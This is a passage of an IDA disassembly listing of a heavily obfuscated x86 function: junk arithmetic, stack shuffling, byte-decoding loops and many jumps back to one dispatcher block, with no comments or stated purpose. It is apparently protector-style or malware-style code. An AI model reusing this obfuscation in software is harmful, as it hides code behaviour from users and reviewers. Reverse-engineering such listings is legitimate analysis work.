[esp-6ECAh+arg_6EC2] jmp loc_58E819 ; --------------------------------------------------------------------------- loc_58B61D: ; CODE XREF: sub_581EE9+E5F3j add edx, 4 push 3C72h mov [esp-6EC6h+arg_6EBE], ebx mov ebx, 52B42575h shr ebx, 3 neg ebx inc ebx and ebx, 3EA0052h shr ebx, 2 xor ebx, 6A0010h jmp loc_58B3C3 ; --------------------------------------------------------------------------- loc_58B64A: ; CODE XREF: sub_581EE9+7491j pop edi push ecx mov ecx, 0D3E199Eh sub ecx, 93219CAEh sub ebx, 15A77AA3h add ebx, ecx add ebx, 15A77AA3h pop ecx sub ebp, ebx pop ebx jmp loc_58F27C ; --------------------------------------------------------------------------- loc_58B66E: ; CODE XREF: sub_581EE9+F609j not edi add edi, 1E224DE9h and edi, 2D985985h shr edi, 6 add edi, 0FFFFFFBEh push ebp mov ebp, edi mov eax, ebp pop ebp mov edi, [esp-6EC8h+arg_6EBE+2] add esp, 4 add ecx, eax pop eax push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp-6ED0h+arg_6EC6+2] jmp loc_587E16 ; --------------------------------------------------------------------------- loc_58B6A5: ; CODE XREF: sub_581EE9+516Aj or ch, 0D1h push ebx mov bl, 0B4h xor ch, bl pop ebx xor ch, 0C1h add bl, 7Eh jmp loc_589647 ; --------------------------------------------------------------------------- loc_58B6B9: ; CODE XREF: sub_581EE9+6807j mov edi, 0DA74EAFh add edi, 0F258B153h push 5C41h mov [esp-6EA4h+arg_6E9A+2], edi jmp loc_58D352 ; --------------------------------------------------------------------------- loc_58B6D1: ; CODE XREF: sub_581EE9+51E8j add edi, 175B04ABh add edi, 8E6E62Bh sub edx, edi pop edi jmp loc_588BCF ; --------------------------------------------------------------------------- loc_58B6E5: ; CODE XREF: sub_581EE9+D177j push [esp-6EF8h+arg_6EF0] pop eax push edx jmp loc_58FC61 ; --------------------------------------------------------------------------- loc_58B6EF: ; CODE XREF: sub_581EE9+549Dj pop ecx jmp loc_58A5F9 ; --------------------------------------------------------------------------- loc_58B6F5: ; CODE XREF: sub_581EE9+F127j sub eax, 217A5FCAh add edx, eax push [esp-6EE6h+arg_6EDC+2] pop eax push ebx mov ebx, esp jmp loc_5903F7 ; --------------------------------------------------------------------------- loc_58B708: ; CODE XREF: sub_581EE9+9CF3j mov ebp, 76622E38h jmp loc_58A841 ; --------------------------------------------------------------------------- loc_58B712: ; CODE XREF: sub_581EE9+E90Bj mov ch, dl pop edx mov bl, 0A1h push edx mov dh, 10h jmp loc_58F1F2 ; --------------------------------------------------------------------------- loc_58B71F: ; CODE XREF: sub_581EE9+527Aj mov ecx, [esp-6EE4h+arg_6EDC] add esp, 4 jmp loc_58CFE0 ; --------------------------------------------------------------------------- loc_58B72A: ; CODE XREF: sub_581EE9+A322j push 50F9h mov [esp-6EE4h+arg_6EDC], esp add [esp-6EE4h+arg_6EDC], 4 jmp loc_58847E ; --------------------------------------------------------------------------- loc_58B73B: ; CODE XREF: sub_581EE9+E825j dec edx push 0 sub [esp-6EE0h+arg_6ED6+2], edx pop edx jmp loc_58A439 ; --------------------------------------------------------------------------- loc_58B74A: ; CODE XREF: sub_581EE9+E4DCj push ecx jmp loc_59003F ; --------------------------------------------------------------------------- loc_58B750: ; CODE XREF: sub_581EE9+81DEj mov bl, al mov dl, bl pop ebx pop eax sub dl, 0FFh xor dl, 0C8h jmp loc_590EB0 ; --------------------------------------------------------------------------- loc_58B761: ; CODE XREF: sub_581EE9+5409j xor edi, 31361017h push ecx mov ecx, 410E6420h add edi, ecx pop ecx xchg eax, edi not eax xchg eax, edi add edi, 68341EB2h push 74BEh mov [esp-6EE6h+arg_6EDC+2], ecx mov ecx, 283508E7h sub eax, ecx jmp loc_58979C ; --------------------------------------------------------------------------- loc_58B78E: ; CODE XREF: sub_581EE9+B625j pop esp jmp loc_58C145 ; --------------------------------------------------------------------------- loc_58B794: ; CODE XREF: sub_581EE9+DE4Cj mov [esp-6EEAh+arg_6EE0+2], ecx jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58B79C: ; CODE XREF: sub_581EE9+8598j pop eax add esp, 4 push esi mov esi, 447A757Dh push ebp mov ebp, 69095273h jmp loc_58D38D ; --------------------------------------------------------------------------- loc_58B7B4: ; CODE XREF: sub_581EE9+E561j pop edi pop eax xor esi, ecx mov ecx, [esp-6EC6h+arg_6EBE] jmp loc_5878EA ; --------------------------------------------------------------------------- loc_58B7C0: ; CODE XREF: sub_581EE9+41FCj add ch, dh pop edx jmp loc_58DCFD ; --------------------------------------------------------------------------- loc_58B7C8: ; CODE XREF: sub_581EE9+776Cj push cx mov ch, 88h jmp loc_58ED20 ; --------------------------------------------------------------------------- loc_58B7D1: ; CODE XREF: sub_581EE9+59ACj pop ecx mov edi, esi pop esi and eax, edi pop edi or edx, eax jmp loc_58FD4D ; --------------------------------------------------------------------------- loc_58B7DF: ; CODE XREF: sub_581EE9+FA4Dj xchg edi, ecx pop edi jmp loc_58937F ; --------------------------------------------------------------------------- loc_58B7E7: ; CODE XREF: sub_581EE9+A3D6j shl eax, 2 shl eax, 4 jmp loc_587813 ; --------------------------------------------------------------------------- loc_58B7F2: ; CODE XREF: sub_581EE9+E019j mov esi, [esp-6ECEh+arg_6EC6] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6ECAh+arg_6EC2] pop esp push [esp-6ECEh+arg_6EC6] pop ecx push ebp push esp jmp loc_58BF89 ; --------------------------------------------------------------------------- loc_58B813: ; CODE XREF: sub_581EE9+B6CEj mov ebp, esp sub esp, 4 jmp loc_590FF5 ; --------------------------------------------------------------------------- loc_58B820: ; CODE XREF: sub_581EE9+6C98j push eax push esp mov eax, [esp-6EEAh+arg_6EE0+2] jmp loc_591A93 ; --------------------------------------------------------------------------- loc_58B82A: ; CODE XREF: sub_581EE9+B89Ej jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58B82F: ; CODE XREF: sub_581EE9+C68Bj xchg eax, [esp-6EEAh+arg_6EE0+2] jmp loc_58918E ; --------------------------------------------------------------------------- loc_58B837: ; CODE XREF: sub_581EE9+C5CDj mov ebp, [esp-6EEAh+arg_6EE0+2] jmp loc_59093B ; --------------------------------------------------------------------------- push [esp-6EEAh+arg_6EE0+2] mov eax, [esp-6EE6h+arg_6EDC+2] push eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi add eax, 4 xchg eax, [esp+0] pop esp push ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_5898C7 ; --------------------------------------------------------------------------- loc_58B86C: ; CODE XREF: sub_581EE9+AEB6j add esi, 4 add esi, 2 xchg esi, [esp+0] pop esp push 33h mov [esp+0], edx push eax mov ah, 0Fh or ah, 0B6h not ah xor ah, 0E9h dec ah not ah sub ah, 0C5h mov dh, ah pop eax push ebx jmp loc_58D793 ; --------------------------------------------------------------------------- loc_58B89C: ; CODE XREF: sub_581EE9+CE24j push eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58B8A3: ; CODE XREF: sub_581EE9+8156j mov ecx, 32202F03h sub ecx, 2921B1h add esi, ecx pop ecx pop eax push edi mov edi, 4 add esi, edi pop edi xor esi, [esp-6E86h+arg_6E7C+2] jmp loc_589CFE ; --------------------------------------------------------------------------- loc_58B8C3: ; CODE XREF: sub_581EE9+A9EFj mov ebp, 0FFFFFFFFh add ecx, ebp mov ebp, [esp-6E86h+arg_6E7C+2] add esp, 4 shr ecx, 5 shl ecx, 6 shl ecx, 7 xor ecx, 5F8554DCh jmp loc_58872C ; --------------------------------------------------------------------------- loc_58B8E7: ; CODE XREF: sub_581EE9+EB21j not [esp-6E8Ah+arg_6E80+2] pop ebx not ebx shr ebx, 6 sub ebx, 1968372Ah xor ebx, 0F5B337D5h add edx, ebx jmp loc_58FD5F ; --------------------------------------------------------------------------- loc_58B903: ; CODE XREF: sub_581EE9+906Bj or ecx, 542C1820h jmp loc_58A4A4 ; --------------------------------------------------------------------------- loc_58B90E: ; CODE XREF: sub_581EE9+E797j pop esp mov ebx, [esp+0] push esi mov esi, esp add esi, 4 push 7773h mov [esp-6EF4h+arg_6EEC], ecx mov ecx, 5EFA7D55h sub ecx, 5EFA7D51h add esi, ecx pop ecx xchg esi, [esp-6EF8h+arg_6EF0] pop esp push dx jmp loc_5870AB ; --------------------------------------------------------------------------- loc_58B93C: ; CODE XREF: sub_581EE9+F934j mov [esp-6EFAh+arg_6EF0+2], ebx jmp loc_58EB15 ; --------------------------------------------------------------------------- loc_58B944: ; CODE XREF: sub_581EE9+5575j pop ebx add esi, eax jmp loc_5892E9 ; --------------------------------------------------------------------------- loc_58B94C: ; CODE XREF: sub_581EE9+610Aj pop esi sub edi, eax sub edi, 774C71BFh pop eax push edi jmp loc_58BB18 ; --------------------------------------------------------------------------- loc_58B95C: ; CODE XREF: sub_581EE9+4AA3j pop ecx add ebp, 4 jmp loc_58F289 ; --------------------------------------------------------------------------- loc_58B968: ; CODE XREF: sub_581EE9+84ECj mov edi, 5CDE43B1h shr edi, 6 xor edi, 173790Ah add esi, edi pop edi add esi, 4 xchg esi, [esp-6EEEh+arg_6EE4+2] pop esp jmp loc_58D655 ; --------------------------------------------------------------------------- loc_58B988: ; CODE XREF: sub_581EE9+8999j push ebp mov ebp, 2 add ecx, ebp pop ebp xchg ecx, [esp-6ECEh+arg_6EC6] pop esp mov ax, word ptr [esp-6ED2h+arg_6ECA] push 1115h mov [esp-6ECEh+arg_6EC6], edi mov edi, esp add edi, 4 jmp loc_590216 ; --------------------------------------------------------------------------- loc_58B9AE: ; CODE XREF: sub_581EE9+DD80j mov edi, 4A461007h push ecx jmp loc_589AF5 ; --------------------------------------------------------------------------- loc_58B9B9: ; CODE XREF: sub_581EE9+45F5j add edx, 4 add edx, 4 xchg edx, [esp-6EE6h+arg_6EDC+2] mov esp, [esp-6EE6h+arg_6EDC+2] sub bl, 28h jmp loc_588EF8 ; --------------------------------------------------------------------------- loc_58B9D3: ; CODE XREF: sub_581EE9+B4BEj mov ecx, [esp-6EE6h+arg_6EDC+2] push eax push esp pop eax sub esp, 4 mov [esp], edx push ecx mov ecx, 4 mov edx, ecx mov ecx, [esp-6EDAh+arg_6ED2] add esp, 4 sub eax, 20A52EB2h add eax, edx add eax, 20A52EB2h pop edx add eax, 4 push 9EEh mov [esp], eax push dword ptr [esp+4] jmp loc_5890CB ; --------------------------------------------------------------------------- loc_58BA11: ; CODE XREF: sub_581EE9+6A13j pop edi push eax mov eax, 0D95BB35Dh sub esi, eax pop eax jmp loc_589668 ; --------------------------------------------------------------------------- loc_58BA20: ; CODE XREF: sub_581EE9+95FCj shl ecx, 3 shr ecx, 8 jmp loc_58D072 ; --------------------------------------------------------------------------- loc_58BA2B: ; CODE XREF: sub_581EE9+E73Bj push cx jmp loc_58DC43 ; --------------------------------------------------------------------------- loc_58BA32: ; CODE XREF: sub_581EE9+E609j sub bl, ch push eax jmp loc_58A523 ; --------------------------------------------------------------------------- loc_58BA3A: ; CODE XREF: sub_581EE9+B464j inc eax jmp loc_58EEA1 ; --------------------------------------------------------------------------- loc_58BA40: ; CODE XREF: sub_581EE9+C49Bj dec [esp-6EAEh+arg_6EA4+2] not [esp-6EAEh+arg_6EA4+2] push [esp-6EAEh+arg_6EA4+2] pop ebx jmp loc_58D3CC ; --------------------------------------------------------------------------- loc_58BA4F: ; CODE XREF: sub_581EE9+47F0j pop ebp mov esi, [esp-6EFAh+arg_6EF0+2] jmp loc_58CF1A ; --------------------------------------------------------------------------- loc_58BA58: ; CODE XREF: sub_581EE9+AA43j shl edi, 2 jmp loc_58A17F ; --------------------------------------------------------------------------- loc_58BA60: ; DATA XREF: sub_581EE9+3CDBo movzx ax, byte ptr [edx] push small 30BCh mov word ptr [esp-6EF8h+arg_6EF0], ax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BA71: ; CODE XREF: sub_581EE9+8DBBj sub ecx, eax pop eax add ecx, ebp add ecx, 64150DBFh mov ebp, [esp-6EC8h+arg_6EBE+2] jmp loc_58D574 ; --------------------------------------------------------------------------- loc_58BA84: ; CODE XREF: sub_581EE9+D42Cj and bl, 98h or bl, 0EAh push cx mov cl, 6 add bl, cl pop cx shr bl, 6 jmp loc_590421 ; --------------------------------------------------------------------------- loc_58BA9A: ; DATA XREF: sub_581EE9+3CB7o push [esp-6EC8h+arg_6EBE+2] mov ecx, [esp-6EC4h+arg_6EBA+2] add esp, 4 push esi push esp pop esi add esi, 4 sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], ecx jmp loc_59140E ; --------------------------------------------------------------------------- loc_58BABA: ; CODE XREF: sub_581EE9+9FB0j add esi, 7791773h shr esi, 8 push ecx mov ecx, 775C37ECh dec ecx jmp loc_58BF65 ; --------------------------------------------------------------------------- loc_58BACF: ; CODE XREF: sub_581EE9+617Ej push ebx mov bh, 61h jmp loc_58E556 ; --------------------------------------------------------------------------- loc_58BAD7: ; CODE XREF: sub_581EE9+B214j mov ebp, 0 push ebp pop dword ptr [edi+20h] push [esp-6EBEh+arg_6EB6] pop ebp push 3ED3h jmp loc_588148 ; --------------------------------------------------------------------------- loc_58BAEE: ; CODE XREF: sub_581EE9+7A74j mov ecx, ebx jmp loc_58EB85 ; --------------------------------------------------------------------------- loc_58BAF5: ; CODE XREF: sub_581EE9+D37Aj mov ah, 9Ch add ah, 0FFh shr ah, 5 sub ah, 73h add ah, 0BCh jmp loc_5882F7 ; --------------------------------------------------------------------------- loc_58BB08: ; CODE XREF: sub_581EE9+7E71j xor ebx, 0D687A4B7h sub esi, ebx pop ebx mov eax, esi jmp loc_585E0A ; --------------------------------------------------------------------------- loc_58BB18: ; CODE XREF: sub_581EE9+9A6Ej push [esp-6ECEh+arg_6ECA] mov edi, [esp-6ECAh+arg_6EC2] add esp, 4 pop [esp-6ECEh+arg_6EC6] mov esp, [esp-6ED2h+arg_6ECA] mov [esp-6ED2h+arg_6ECA], eax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BB33: ; CODE XREF: sub_581EE9+8542j push esi mov esi, 3BD70B3Dh jmp loc_58BC0C ; --------------------------------------------------------------------------- loc_58BB3E: ; CODE XREF: sub_581EE9+C109j add edx, ecx mov ecx, [esp-6EF8h+arg_6EF0] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-6EF8h+arg_6EF0] pop esp mov [esp+0], ebp mov ebp, 2 sub edx, ebp pop ebp xor edx, [esp-6F00h+arg_6EF6+2] xor [esp-6F00h+arg_6EF6+2], edx xor edx, [esp-6F00h+arg_6EF6+2] jmp loc_586F0B ; --------------------------------------------------------------------------- loc_58BB72: ; CODE XREF: sub_581EE9+D69Ej mov esp, [esp-6F00h+arg_6EF6+2] mov [esp-6F00h+arg_6EF6+2], ebx mov ebx, 1Ch sub ebx, 6B971B2Ah add ebx, edi add ebx, 6B971B2Ah jmp loc_59193B ; --------------------------------------------------------------------------- loc_58BB90: ; DATA XREF: sub_581EE9+3BEBo push dword ptr [edi+2Ch] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BB98: ; CODE XREF: sub_581EE9+A390j shl al, 2 inc al jmp loc_58951E ; --------------------------------------------------------------------------- loc_58BBA2: ; CODE XREF: sub_581EE9+83B3j add esp, 4 sub ebp, 3B9F4334h add eax, ebp jmp loc_5882A3 ; --------------------------------------------------------------------------- loc_58BBB5: ; CODE XREF: sub_581EE9+FC82j sub al, bl sub al, 4Eh sub esp, 4 mov [esp-6EC6h+arg_6EBE], ebx mov bh, 92h sub al, bh jmp loc_5898BF ; --------------------------------------------------------------------------- loc_58BBC8: ; CODE XREF: sub_581EE9+B120j push 6F03h mov [esp-6EC2h+arg_6EBA], esi mov esi, edi push esi mov esi, esp add esi, 4 push ebp jmp loc_58B708 ; --------------------------------------------------------------------------- loc_58BBE1: ; CODE XREF: sub_581EE9+485Ej mov ebp, 18351118h mov eax, ebp pop ebp add eax, 0E7CAEEECh add edi, eax push [esp-6EF2h+arg_6EE8+2] pop eax add esp, 4 jmp loc_58B29B ; --------------------------------------------------------------------------- loc_58BBFC: ; CODE XREF: sub_581EE9+A160j push ecx mov ecx, 1 push edx push ecx pop edx mov eax, edx jmp loc_589CBF ; --------------------------------------------------------------------------- loc_58BC0C: ; CODE XREF: sub_581EE9+9C50j sub ebx, esi pop esi pop dword ptr [eax] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BC16: ; CODE XREF: sub_581EE9+7BCEj push 759h mov [esp-6EB2h+arg_6EA8+2], edi push [esp-6EB2h+arg_6EA8+2] mov edx, [esp-6EAEh+arg_6EA4+2] jmp loc_58AB31 ; --------------------------------------------------------------------------- loc_58BC29: ; CODE XREF: sub_581EE9+D3E6j push esp mov ecx, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 jmp loc_5908BB ; --------------------------------------------------------------------------- loc_58BC38: ; CODE XREF: sub_581EE9+FB04j sub eax, 4 xchg eax, [esp-6EAEh+arg_6EA4+2] pop esp mov [esp-6EB2h+arg_6EA8+2], edi sub esp, 4 mov [esp-6EAEh+arg_6EA4+2], edx mov edx, 3EEB75FDh mov edi, 3EEB75FCh jmp loc_590F44 ; --------------------------------------------------------------------------- loc_58BC5C: ; CODE XREF: sub_581EE9+D64Dj pop eax mov ebx, esi mov esi, [esp-6EB2h+arg_6EA8+2] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-6EAEh+arg_6EA4+2] jmp loc_588236 ; --------------------------------------------------------------------------- loc_58BC76: ; CODE XREF: sub_581EE9+7258j push edx add [esp-6EE0h+arg_6ED6+2], 6442126Eh mov ebx, [esp-6EE0h+arg_6ED6+2] add esp, 4 push edx mov edx, 6442126Eh add ebx, 0A075BF6h sub ebx, edx sub ebx, 0A075BF6h pop edx pop edx jmp loc_58F0FE ; --------------------------------------------------------------------------- loc_58BCA2: ; CODE XREF: sub_581EE9+52C3j push ax pushf jmp loc_58D0B6 ; --------------------------------------------------------------------------- loc_58BCAA: ; CODE XREF: sub_581EE9+D88Fj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BCAF: ; DATA XREF: sub_581EE9+3C93o lodsb jmp loc_589B40 ; --------------------------------------------------------------------------- loc_58BCB5: ; CODE XREF: sub_581EE9+6554j add ecx, 598A7FAEh pop ebx jmp loc_587B35 ; --------------------------------------------------------------------------- loc_58BCC1: ; CODE XREF: sub_581EE9+CCB4j ; sub_581EE9+D304j push ebx mov eax, [esp-6EB4h+arg_6EAC] push ecx mov ecx, esp jmp loc_58F4A5 ; --------------------------------------------------------------------------- loc_58BCCD: ; CODE XREF: sub_581EE9+E9A3j shl edi, 8 add edi, 88B46EA5h jmp loc_58D6C7 ; --------------------------------------------------------------------------- loc_58BCDB: ; CODE XREF: sub_581EE9+58C2j sub ecx, 0E614B639h push ecx mov ebx, [esp+0] add esp, 4 pop ecx xor eax, ebx push [esp-6EC0h+arg_6EB6+2] jmp loc_5909E9 ; --------------------------------------------------------------------------- loc_58BCF6: ; CODE XREF: sub_581EE9+91F3j mov [esp+0], edi mov edi, 29E8444Dh sub edi, 3D60702h add edi, 525E365Eh shr edi, 5 push esi mov esi, esp add esi, 4 push ebx mov ebx, 4 sub esi, ebx pop ebx xchg esi, [esp-6EB4h+arg_6EAC] jmp loc_58CA7C ; --------------------------------------------------------------------------- loc_58BD27: ; CODE XREF: sub_581EE9+E674j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BD2C: ; CODE XREF: sub_581EE9+A8D2j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BD31: ; CODE XREF: sub_581EE9+FB25j mov esi, 1F1B65EBh push ebp mov ebp, 5ED5565Dh add ebp, 262A476Ah add ebp, 1A187A61h dec ebp xor ebp, 347311ADh inc ebp xor ebp, 8F0E7688h mov ecx, ebp pop ebp xor ecx, esi jmp loc_586FAC ; --------------------------------------------------------------------------- loc_58BD60: ; CODE XREF: sub_581EE9+E2A9j mov esi, 0B43EF1D1h sub edx, esi pop esi sub eax, edx mov edx, [esp+0] add esp, 4 sub eax, ebx jmp loc_58A895 ; --------------------------------------------------------------------------- loc_58BD77: ; CODE XREF: sub_581EE9+8A6Bj or bh, 0D0h xor bh, 43h mov al, bh pop ebx add bl, al jmp loc_58DCD5 ; --------------------------------------------------------------------------- loc_58BD87: ; CODE XREF: sub_581EE9+B1F9j xor esi, 43451393h jmp loc_589FE9 ; --------------------------------------------------------------------------- loc_58BD92: ; CODE XREF: sub_581EE9+4C42j sub al, 25h add al, dl add al, 25h mov edx, [esp-6ED2h+arg_6ECA] add esp, 4 jmp loc_59087D ; --------------------------------------------------------------------------- loc_58BDA6: ; CODE XREF: sub_581EE9+DCCCj inc cl or cl, 0FBh jmp loc_58C24A ; --------------------------------------------------------------------------- loc_58BDB0: ; CODE XREF: sub_581EE9+9F90j push 79B545BDh mov ebx, [esp-6ED2h+arg_6ECA] add esp, 4 inc ebx push eax mov eax, 27BD5168h xor ebx, eax pop eax add ebx, 0FFFFFFFFh xor ebx, 5E0814D1h mov ebp, ebx pop ebx add eax, ebp pop ebp push edi mov edi, 4 add eax, edi mov edi, [esp-6EDAh+arg_6ED2] add esp, 4 xchg eax, [esp-6EDEh+arg_6ED6] mov esp, [esp-6EDEh+arg_6ED6] jmp loc_590629 ; --------------------------------------------------------------------------- loc_58BDED: ; CODE XREF: sub_581EE9+56B8j xor eax, ecx pop ecx add esi, eax pop eax xor esi, [esp-6ECAh+arg_6EC2] jmp loc_590402 ; --------------------------------------------------------------------------- loc_58BDFB: ; CODE XREF: sub_581EE9+784Cj pop ecx mov ebp, eax pop eax sub esp, 4 mov [esp-6EDEh+arg_6ED6], ebx jmp loc_58FCAB ; --------------------------------------------------------------------------- loc_58BE0D: ; CODE XREF: sub_581EE9+CCE2j add edi, 4 push ebp jmp loc_587511 ; --------------------------------------------------------------------------- loc_58BE19: ; CODE XREF: sub_581EE9+E82Dj push ecx mov ecx, 3B7E1AE8h mov ebx, ecx pop ecx xor [esp-6EDAh+arg_6ED6], ebx jmp loc_5919F2 ; --------------------------------------------------------------------------- push [esp-6EDAh+arg_6ED2] mov eax, [esp-6ED6h+arg_6ECE] push 59EDh jmp loc_58C903 ; --------------------------------------------------------------------------- loc_58BE3B: ; CODE XREF: sub_581EE9+AA9Aj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BE40: ; DATA XREF: sub_581EE9+3C4Bo mov cx, word ptr [esp-6ED2h+arg_6ECA] push esi jmp loc_58FC00 ; --------------------------------------------------------------------------- loc_58BE4A: ; CODE XREF: sub_581EE9+4C34j mov [esp-6ED2h+arg_6ECA], eax mov eax, [esp-6ED2h+arg_6ECA] push eax mov eax, esp jmp loc_588D82 ; --------------------------------------------------------------------------- loc_58BE58: ; CODE XREF: sub_581EE9+45EDj pop ebx add edi, ecx pop ecx add ebp, edi pop edi push edi jmp loc_5911CC ; --------------------------------------------------------------------------- loc_58BE65: ; CODE XREF: sub_581EE9+5D72j mov esp, [esp-6EB6h+arg_6EAC+2] sub esp, 4 mov [esp-6EB2h+arg_6EA8+2], eax push esp pop eax push ebp push 9D8h mov dword ptr [esp-6EAAh+arg_6EA2], ebx jmp loc_58BDB0 ; --------------------------------------------------------------------------- loc_58BE7E: ; CODE XREF: sub_581EE9+8E5Aj push 1F9Dh mov [esp-6E88h+arg_6E80], ebx mov ebx, 78D54B19h push esi mov esi, 29DD524Ch xor esi, 93E5704h neg esi jmp loc_58BABA ; --------------------------------------------------------------------------- loc_58BE9E: ; CODE XREF: sub_581EE9+D511j pop ecx dec edi add edi, 31286FA1h or ecx, edi pop edi xor ecx, 273C664Bh or esi, ecx jmp loc_58C6AE ; --------------------------------------------------------------------------- loc_58BEB6: ; CODE XREF: sub_581EE9+BFA4j not ebp jmp loc_58D411 ; --------------------------------------------------------------------------- loc_58BEBD: ; CODE XREF: sub_581EE9+AECCj mov dh, 0DFh push ecx jmp loc_58FE7A ; --------------------------------------------------------------------------- loc_58BEC5: ; CODE XREF: sub_581EE9+8DA6j add edi, ebp pop ebp sub esp, 4 mov [esp-6F0Eh+arg_6F06], esi push eax mov eax, 230412A6h mov esi, 0DCFBED5Eh add esi, eax pop eax add edi, esi pop esi xchg edi, [esp-6F12h+arg_6F0A] jmp loc_58A413 ; --------------------------------------------------------------------------- loc_58BEE7: ; CODE XREF: sub_581EE9+D2A7j sub edx, 5DAAB293h jmp loc_58E168 ; --------------------------------------------------------------------------- loc_58BEF2: ; CODE XREF: sub_581EE9+5F80j add [esp-6EE0h+arg_6ED6+2], 4 pop esi add esi, 4 push ebx mov ebx, 2 jmp loc_5863CC ; --------------------------------------------------------------------------- loc_58BF08: ; CODE XREF: sub_581EE9+7678j push ebx mov bl, dh jmp loc_588C28 ; --------------------------------------------------------------------------- loc_58BF10: ; CODE XREF: sub_581EE9+A95Dj xor eax, ebx pop ebx jmp loc_58A71C ; --------------------------------------------------------------------------- loc_58BF18: ; CODE XREF: sub_581EE9+4402j pop eax and eax, ebx mov ebx, [esp-6ED2h+arg_6ECA] add esp, 4 or edx, eax shl edx, 1 jmp loc_588813 ; --------------------------------------------------------------------------- loc_58BF2A: ; CODE XREF: sub_581EE9+EF23j mov esi, offset loc_6061A5 inc esi shl esi, 5 xor esi, 77DA557Fh jmp loc_58E428 ; --------------------------------------------------------------------------- loc_58BF3E: ; CODE XREF: sub_581EE9+CCF0j add edx, ebp push edi jmp loc_590271 ; --------------------------------------------------------------------------- loc_58BF46: ; CODE XREF: sub_581EE9+5229j pop esp mov [esp-6EF4h+arg_6EEC], eax jmp loc_58ABF4 ; --------------------------------------------------------------------------- loc_58BF4F: ; CODE XREF: sub_581EE9+E48Ej pop eax push 7EB8h mov [esp-6EF4h+arg_6EEC], eax push [esp-6EF4h+arg_6EF0] pop eax pop [esp-6EF4h+arg_6EEC] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58BF65: ; CODE XREF: sub_581EE9+9BE1j xor ecx, 32BB72B0h jmp loc_58B4EA ; --------------------------------------------------------------------------- loc_58BF70: ; CODE XREF: sub_581EE9+A32Cj mov [esp-6EBCh+arg_6EB2+2], esi push ebx mov ebx, 31383A99h mov esi, ebx pop ebx push ebp mov ebp, 575E5633h and esi, ebp jmp loc_58C6FE ; --------------------------------------------------------------------------- loc_58BF89: ; CODE XREF: sub_581EE9+9925j pop ebp add ebp, 4 jmp loc_585D9A ; --------------------------------------------------------------------------- loc_58BF95: ; CODE XREF: sub_581EE9+B7E8j mov edi, 945FBF57h sub edi, eax jmp loc_590848 ; --------------------------------------------------------------------------- loc_58BFA1: ; CODE XREF: sub_581EE9+BD2Bj xor dl, 80h sub ch, dl pop edx mov bl, ch pop ecx add al, 4Bh add al, bl push ecx push edx mov dh, 94h jmp loc_5860E3 ; --------------------------------------------------------------------------- loc_58BFB7: ; CODE XREF: sub_581EE9+B6F3j pop esi add esi, 4 push edi jmp loc_58E74A ; --------------------------------------------------------------------------- loc_58BFC4: ; CODE XREF: sub_581EE9+57A1j pop ebp push [esp-6F0Eh+arg_6F06] jmp loc_58FF07 ; --------------------------------------------------------------------------- loc_58BFCD: ; CODE XREF: sub_581EE9+C249j and eax, 37476596h push esi mov esi, 660E3737h jmp loc_59163B ; --------------------------------------------------------------------------- loc_58BFDD: ; CODE XREF: sub_581EE9+B389j shr ecx, 3 sub ecx, 0B1DEFAAh jmp loc_588684 ; --------------------------------------------------------------------------- loc_58BFEB: ; CODE XREF: sub_581EE9+D191j not ebp push 54B8h jmp loc_58A2A1 ; --------------------------------------------------------------------------- loc_58BFF7: ; CODE XREF: sub_581EE9+D519j mov edi, 691F38B0h jmp loc_58FE90 ; --------------------------------------------------------------------------- loc_58C001: ; CODE XREF: sub_581EE9+CAA5j pop eax push ecx mov ecx, 136C69AAh push 4747h mov [esp-6EFEh+arg_6EF6], eax mov eax, 5DF82EC3h add ecx, 7B7C6722h jmp loc_58F68A ; --------------------------------------------------------------------------- loc_58C020: ; CODE XREF: sub_581EE9+8CF2j sub esp, 4 mov [esp+0], edi jmp loc_58FCB5 ; --------------------------------------------------------------------------- loc_58C02B: ; CODE XREF: sub_581EE9+5D33j push [esp-6EB2h+arg_6EA8+2] jmp loc_5888C7 ; --------------------------------------------------------------------------- loc_58C033: ; CODE XREF: sub_581EE9+79D9j sub al, 0D9h push ebx push eax mov ah, 0F7h shl ah, 1 jmp loc_58A263 ; --------------------------------------------------------------------------- loc_58C040: ; CODE XREF: sub_581EE9+60C1j push 5763h mov [esp-6ED2h+arg_6ECA], ebp push eax jmp loc_58BBFC ; --------------------------------------------------------------------------- loc_58C04E: ; CODE XREF: sub_581EE9+69C5j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C053: ; CODE XREF: sub_581EE9+48ADj mov [esp-6EF2h+arg_6EE8+2], ecx mov ch, 1 shl ch, 7 jmp loc_587025 ; --------------------------------------------------------------------------- loc_58C060: ; CODE XREF: sub_581EE9+C334j add esp, 4 pop [esp-6EF6h+arg_6EEC+2] mov esp, [esp-6EFAh+arg_6EF0+2] jmp loc_589406 ; --------------------------------------------------------------------------- loc_58C06E: ; CODE XREF: sub_581EE9+D4E5j xor edi, 4EA57E55h push ebp jmp loc_58AE72 ; --------------------------------------------------------------------------- loc_58C07A: ; DATA XREF: sub_581EE9+3CBBo lodsb xor al, bl sub esp, 4 mov [esp-6EF2h+arg_6EE8+2], edx mov dh, 17h sub al, 1Eh sub al, dh push bx mov bl, 5Ah jmp loc_58AF67 ; --------------------------------------------------------------------------- loc_58C092: ; CODE XREF: sub_581EE9+F9A7j mov edi, eax mov eax, [esp-6EF0h+arg_6EE8] jmp loc_589525 ; --------------------------------------------------------------------------- loc_58C09C: ; CODE XREF: sub_581EE9+4008j mov esp, 